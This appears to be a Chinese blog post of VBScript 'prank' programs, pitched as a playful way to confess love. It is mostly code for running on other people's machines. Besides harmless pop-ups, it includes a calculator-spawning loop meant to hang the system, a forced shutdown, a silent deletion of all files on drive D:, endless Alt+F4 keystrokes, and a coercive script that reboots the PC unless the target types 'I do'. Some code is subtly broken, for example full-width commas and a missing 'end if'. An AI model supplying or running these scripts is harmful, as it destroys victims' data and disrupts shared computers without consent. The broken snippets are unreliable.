VBS整人代码大集合，学会用VBS来编小程序对心仪的女神表白

今天小编给大家带来一个小小的恶搞程序，每个装windows的系统都有的，那就是VBS编辑器。其实VBS本身是用作编程用的，但是我们今天可以学习用文本文档的方式编出高逼格的小程序。

VBS整人代码一：

打开txt文件，复制以下代码粘贴进去（可以修改中文部分，其它代码不要动！）。保存并关闭txt文件。

msgbox("做我女朋友好吗？")
msgbox("房产证上写你名字")
msgbox("保大")
msgbox("我妈会游泳")

然后把文件后缀名改成.vbs，这是最基本的，没有逻辑。

若新建的txt文件不显示“.txt”，可随便打开一个文件夹，再点击【查看】，在【文件扩展名】前面打勾即可。

VBS整人代码二：

我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 

do 
msgbox "You are foolish!" 
loop

VBS整人代码三：

打开无数个计算器，直到死机 

set wsh=createobject("wscript.shell") 
do 
wsh.run "calc" 
loop

VBS整人代码四：

直接关机 

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00"，0 ，true

VBS整人代码五：

删除D:\所有文件 

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s"""，0 ，true

VBS整人代码六：

不断弹出窗口 。复制代码 代码如下:

while(1) 
msgbox "哈哈 你被耍了！" 
loop

VBS整人代码七

不断按下alt+f4 （开什么都关闭……） 。复制代码 代码如下:

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
while(1) 
WSHshell.SendKeys "%{F4}" 
loop

VBS整人代码八：

按500次回车 。(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改) 

复制代码 代码如下:

dim s 
do until s=500 
s=s+1 
msgbox "哥们，给我按500次回车吧"，64 
loop

VBS整人代码九：

关不掉的窗口 。复制代码 代码如下:

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName) 
WScript.Echo("你是可爱的小朋吗?") 
WScript.Echo("哈，我想你拉，这你都不知道吗？") 
WScript.Echo("怎么才来，说~是不是不关心我") 
WScript.Echo("哼，我生气拉，等你这么久，心都凉啦。") 
WScript.Echo("小强很生气，后果很严重哦。") 
WScript.Echo("嘿嘿！你也会很惨滴哦") 
WScript.Echo("是不是想清除我？") 
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") 
WScript.Echo("还剩49下，快点点哦") 
WScript.Echo("还剩48下，快点，小笨蛋！") 
WScript.Echo("还剩47下对，就这样快点点！") 
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。") 
WScript.Echo("还剩45下，记得要快哦！") 
WScript.Echo("还剩43下") 
WScript.Echo("还剩42下") 
WScript.Echo("还剩41下") 
WScript.Echo("还剩40下") 
WScript.Echo("还剩39下") 
WScript.Echo("还剩38下") 
WScript.Echo("还剩37下") 
WScript.Echo("还剩36下") 
WScript.Echo("还剩35下") 
WScript.Echo("还剩34下") 
WScript.Echo("还剩33下") 
WScript.Echo("还剩32下") 
WScript.Echo("还剩30下") 
WScript.Echo("还剩29下") 
WScript.Echo("还剩28下") 
WScript.Echo("还剩27下") 
WScript.Echo("还剩26下") 
WScript.Echo("还剩25下") 
WScript.Echo("还剩24下") 
WScript.Echo("还剩23下") 
WScript.Echo("还剩22下") 
WScript.Echo("还剩21下") 
WScript.Echo("还剩20下") 
WScript.Echo("还剩19下") 
WScript.Echo("还剩18下") 
WScript.Echo("还剩17下") 
WScript.Echo("还剩16下") 
WScript.Echo("还剩15下") 
WScript.Echo("还剩14下") 
WScript.Echo("还剩13下停停！！！慢点，我有话要说") 
WScript.Echo("还剩12下，你继续点我就会消失滴") 
WScript.Echo("还剩11下，以后就看不到我拉。555555") 
WScript.Echo("还剩10下，你现在可以选择停止！") 
WScript.Echo("还剩9下。你还点啊，不要我拉？") 
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") 
WScript.Echo("还剩7下。疯了，你有点负意！") 
WScript.Echo("还剩6下。对。你就点吧，我恨你！") 
WScript.Echo("还剩5下，不明白，删除我你就好吗？") 
WScript.Echo("还剩4下！真要删除我？") 
WScript.Echo("还剩3下。可是我真的很眷恋你。。。") 
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！") 
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！") 
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次")

VBS整人代码九：

最后一个可以向女表白的哟！！！

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否嫁给我，否则会被关机......"" ",0 ,true 
dim a
do while(a <> "我愿意")
a = inputbox ("你愿意嫁给我么","爱的表白","",8000,7000)
if( a <> "我愿意" ) then
msgbox "不愿意么？再考虑一下哦"
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox "哈哈哈哈，好乖"

里面的汉字自己改成合适的。如果对方不愿意，真的会被关机哦，请谨慎使用。

使用方法：

将第一段示例或者第二段示例复制到一个新建的文本文档中，保存。然后修改文本文档的后缀为vbs，

如果会弹出弹窗，就表明成功了。

第一种示例比较简单，大家可以随意修改里面的字，也可以加更多段msgbox带括号的那种。

第二种示例中也可以在第三行前面随意增加，不管加多少行都行，不过第二个示例如果她选择拒绝就会被关机，怕是你要被打。

Tips：除了中文用全角，其他全用半角格式输入!

好了，以上就是关于“VBS整人代码大集合，学会用VBS来编小程序对心仪的女神表白”，最近很多抖友们都在问txt，vbs表白代码怎么生成的？非常的有创意哦！更是技术宅专用的表白方式！感兴趣的你赶紧来学习一下吧！